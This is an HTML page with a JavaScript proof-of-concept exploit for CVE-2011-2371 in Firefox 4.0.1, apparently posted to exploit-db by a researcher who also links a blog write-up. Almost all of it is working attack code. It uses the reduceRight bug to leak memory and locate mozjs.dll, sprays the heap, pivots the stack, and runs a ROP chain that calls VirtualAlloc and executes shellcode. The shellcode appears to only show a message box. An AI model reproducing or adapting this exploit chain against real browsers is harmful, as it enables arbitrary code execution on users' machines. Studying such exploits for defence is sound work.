<!--
Full Exploit Code: http://www.exploit-db.com/sploits/18531.zip
PoC exploit for CVE-2011-2371
tested against Firefox 4.0.1
md5 of mozjs.dll: 5d7ffcc9deb5bb08417ceae51d2afed4
change constants to switch between w7/xp.
see my blog if you want to know how this works.
http://gdtr.wordpress.com/2012/02/22/exploiting-cve-2011-2371-without-non-aslr-modules/
p_k
twitter.com/pa_kt
gdtr.wordpress.com
-->
<html>
<script src="jspack.js"></script>
<script>
function hex(x){
var y = x.toString(16);
y = "0x"+y;
return y;
}
function itoa(i)
{
return String.fromCharCode(i);
}
// n - length in bytes (1 unicode char = 2 bytes)
function puff(x, n){
while(x.length < n) x += x;
return x.substring(0,n);
}
function arr2hex(tab){
var s = "";
for(var i in tab){
x = tab[i];
x = x.toString(16);
if(x.length<2)
x = "0"+x;
s += x + " ";
}
return s;
}
function arr2ascii(tab){
var s = ""
for(var i in tab){
x = tab[i];
if(0x20 <= x && x<=0x7f){
y = itoa(x);
}
else{
y = ".";
}
s += y;
}
return s;
}
function xchg(d,i,j){
t = d[i];
d[i] = d[j];
d[j] = t;
}
function bswap(d){
xchg(d, 0, 3);
xchg(d, 1, 2);
}
function nicer(tab){
jsp = new JSPack();
res = [];
for(var i in tab){
x = tab[i];
t = jsp.Pack("d", [x]);
d1 = t.slice(0, 4);
d2 = t.slice(4, 8);
bswap(d1);
bswap(d2);
t = [d1,d2];
res = res.concat(t);
}
res = res.reverse();
return res;
}
function dw2int(d){
n = 0;
for(var i=0;i<4;i++){
n *= 256;
n += d[3-i];
}
return n;
}
function convert(tab){
o = s = v = "";
for(var i in tab){
d = tab[i];
s += arr2hex(d);
v += arr2ascii(d);
if((parseInt(i)+1)%4==0){
o += s + " | " + v + "\n";
s = "";
v = "";
}
}
return o;
}
function check_pair(d1, d2){
var n1 = dw2int(d1);
var n2 = dw2int(d2);
if(n2-n1 == 0x304)
return true;
return false;
}
function find_mozjs_base(tab){
var n1 = 0;
for(var i=0;i<tab.length-4;i++){
d1 = tab[i];
d2 = tab[i+1];
if(check_pair(d1,d2)){
n1 = dw2int(d1);
n1 = n1 - 0x3cac; //n1 = mozjs .data
n1 = n1 - 0x1B2000; //n1 = mozjs base
break;
}
}
return n1;
}
function d2u(dword){
var uni = String.fromCharCode(dword & 0xFFFF);
uni += String.fromCharCode(dword>>16);
return uni;
}
function odd_d2u(d1, d2){
uni = String.fromCharCode((d1&0xFF)<<8);
uni += String.fromCharCode((d1>>8)&0xFFFF);
uni += String.fromCharCode((d1>>24)+((d2 & 0xFF)<<8)); //1+1<<8 == 512 in JS T_T
uni += String.fromCharCode((d2>>8)&0xFFFF);
uni += String.fromCharCode(d2>>24);
return uni;
}
// generated with mona.py
function rop_chain(mozjs_base){
var arr = [
mozjs_base + 0x000c96e6, // POP EAX // RETN [mozjs.dll]
mozjs_base + 0x0015d054, // ptr to &VirtualAlloc() [IAT mozjs.dll]
mozjs_base + 0x00028510, // MOV EAX,DWORD PTR DS:[EAX] // RETN [mozjs.dll]
mozjs_base + 0x0014293c, // XCHG EAX,ESI // RETN [mozjs.dll]
mozjs_base + 0x0014d00d, // POP EBP // RETN [mozjs.dll]
mozjs_base + 0x000d7ee2, // & push esp // ret 04 [mozjs.dll]
mozjs_base + 0x000be327, // POP EBX // RETN [mozjs.dll]
0x00000001, // 0x00000001-> ebx
mozjs_base + 0x0004f422, // POP EDX // RETN [mozjs.dll]
0x00001000, // 0x00001000-> edx
mozjs_base + 0x000b1421, // POP ECX // RETN [mozjs.dll]
0x00000040, // 0x00000040-> ecx
mozjs_base + 0x000062e3, // POP EDI // RETN [mozjs.dll]
mozjs_base + 0x0000f005, // RETN (ROP NOP) [mozjs.dll]
mozjs_base + 0x000652f0, // POP EAX // RETN [mozjs.dll]
0x90909090, // nop
mozjs_base + 0x001372bd // PUSHAD // RETN [mozjs.dll]
];
return arr;
}
function tab2uni(tab){
var uni = ""
for(var i=0;i<tab.length;i++){
uni += d2u(tab[i]);
}
return uni;
}
function spray(mozjs_base, h1_s, hsize) {
function rva2va(addr) { return addr+mozjs_base; }
function rva2d(addr) { return d2u(rva2va(addr)); }
var align = 0x100000;
var tab_offset = 0x1000;
var TYPE_OBJECT = "%u0007%uffff";
var pivot_rva = 0x1a21c; // 0x68e7a21c : # ADD EBP,EBX # PUSH DS # POP EDI # POP ESI # POP EBX # MOV ESP,EBP # POP EBP # RETN
var mov_esp_ebp_rva = 0x1a222; // mov esp, ebp # pop ebp # ret
var h2_s = h1_s + hsize;
var h2_middle = (h2_s + hsize/2) & (~(align-1)); //align
//mov eax,dword ptr [edi+64h] ;edi=[h2_ptr+4], later: call eax
var h2_ptr = h2_middle + tab_offset;
var off1 = h2_ptr;
var off2 = h2_ptr-0x64;
var v1 = d2u(off1);
var h1_fill = unescape(v1+TYPE_OBJECT);
var foo = puff(h1_fill, 0x4000);
var h1_spray = foo.substring(0,(0x4000/2)-2);
var pivot_va = rva2va(pivot_rva);
pivot_va = d2u(pivot_va);
off2 = d2u(off2);
var new_ebp = h2_ptr+18;
var mov_esp_ebp_va = rva2va(mov_esp_ebp_rva);
var set_esp = odd_d2u(new_ebp, mov_esp_ebp_va);
var rop = tab2uni(rop_chain(mozjs_base));
//shellcode by skylined
var msgbox_shellcode = "%uf631%u6456%u768b%u8b30%u0c76%u768b%u8b1c%u086e%u368b%u5d8b%u8b3c%u1d5c%u0178%u8beb%u184b%ue367%u8bec%u207b%uef01%u7c8b%ufc8f%uef01%uc031%u3299%u6617%ucac1%uae01%uf775%u8166%u2afa%u74b6%u6609%ufa81%u1aaa%udbe0%uc575%u538b%u0124%u0fea%u14b7%u8b4a%u1c7b%uef01%u2c03%u8597%u74f6%u6812%u3233%u2020%u7568%u6573%u5472%ud5ff%u3195%uebf6%u56a3%u3168%u0021%u6800%u322d%u3733%u3268%u3130%u6831%u7663%u2d65%u8754%u2404%u5050%uff56%uccd5";
var x = unescape(pivot_va+off2+set_esp+"%u1111%u2222"+rop+msgbox_shellcode);
x = puff(x, 0x4000);
var h2_spray = x.substring(0,(0x4000/2)-2);
var spray_tab = new Array();
for (i=0;i<0x1000;i++){
spray_tab[i] = h1_spray+"1";
spray_tab[i].indexOf("zzz");
}
for (i=0x1000;i<0x2000;i++){
spray_tab[i] = h2_spray+"2";
spray_tab[i].indexOf("zzz");
}
}
var exploit_func =
function bleh(prev, current, index, array) {
//boom = typeof current;
current[4] = 1; // add ebp, ebx, where ebx=2*4+1=9
//throw "up";
}
function trigger(func, arr_len){
xyz.length = arr_len;
try{
xyz.reduceRight(func,1,2,3);
}
catch(e){ }
}
function leak(){
var CHUNK_SIZE = 0x1000;
var leak_arr_len = 0xffffffff;
mem = [];
count = 0;
var leak_func =
function bleh(prev, current, index, array) {
if(typeof current == "number"){
mem.push(current);
}
count += 1;
if(count>=CHUNK_SIZE/8){
throw "lol";
}
}
function dump_mem(leak_f, arr_len){
var dump = document.getElementById("dump");
var mozjs_base = 0;
for(var i=0;;i++){
mem = [];
count = 0;
trigger(leak_f, arr_len);
mem = nicer(mem);
s = convert(mem);
dump.innerHTML = s;
//alert("leaked bytes: "+hex(mem.length*4));
mozjs_base = find_mozjs_base(mem);
//alert("mozjs base: "+hex(mozjs_base));
if(mozjs_base != 0){
break;
}
}
return mozjs_base;
}
var base = dump_mem(leak_func, leak_arr_len);
return base;
}
function go(){
//var arr_ptr = 0x05000000; //(xp sp3)
//var h1_s = 0x05b00000;
//var h2_e = 0x0fb00000;
var arr_ptr = 0x0b000000; //w7
var h1_s = 0x0b500000;
var h2_e = 0x16e00000;
var size = h2_e-h1_s;
var hsize = size/2;
var h1_middle = h1_s+hsize/2;
var exp_arr_len = (h1_middle - arr_ptr)/8 + 0x80000000;
var mozjs_base = leak();
spray(mozjs_base, h1_s, hsize);
alert("ready");
while(1){
trigger(exploit_func, exp_arr_len);
exp_arr_len -= 0x500;
}
}
// globals
var xyz = new Array();
</script>
<body>
<input type="button" value="go" onclick="go()" />
<pre id="dump">
</pre>
</body>
</html>